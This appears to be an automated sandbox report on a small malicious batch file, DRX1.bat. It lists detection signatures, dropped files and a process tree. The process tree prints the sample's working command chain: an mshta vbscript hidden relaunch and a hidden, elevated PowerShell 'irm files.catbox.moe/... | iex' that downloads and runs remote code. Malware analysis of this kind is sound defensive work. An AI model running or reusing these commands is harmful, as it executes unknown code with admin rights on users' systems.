Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    02/05/2026, 12:19

General

  • Target
    DRX1.bat
  • Size 307B
  • Sample260502-phbweae18y
  • SHA256 33db99bad574cbf27ade2e379fd0e4409e08915e905a0f0ea0095429271474cb
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DRX1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3452
    • C:\Windows\system32\mshta.exe
      mshta vbscript:CreateObject("WScript.Shell").Run("""C:\Users\Admin\AppData\Local\Temp\DRX1.bat"" h",0,false)(window.close)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1508
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DRX1.bat" h"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2420
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList 'irm files.catbox.moe/mbsa7g.txt | iex' -WindowStyle Hidden -Verb RunAs"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3312
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" irm files.catbox.moe/mbsa7g.txt | iex
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5404

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 19c9ec5a50546824bb6a3bdc81b9c4dd5aea4505f0fea626abc4acfb34abd512
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_1vmw2drk.5g1.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1vmw2drk.5g1.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3312-7-0x00000247BE310000-0x00000247BE332000-memory.dmp

        memory/3312-12-0x00000247BE2A0000-0x00000247BE2B2000-memory.dmp

        memory/3312-11-0x00000247BE1A0000-0x00000247BE1AC000-memory.dmp

        memory/5404-21-0x000001FE8AA20000-0x000001FE8AA2C000-memory.dmp

        memory/5404-22-0x000001FEA3030000-0x000001FEA3042000-memory.dmp

        memory/5404-27-0x000001FE8AA20000-0x000001FE8AA2C000-memory.dmp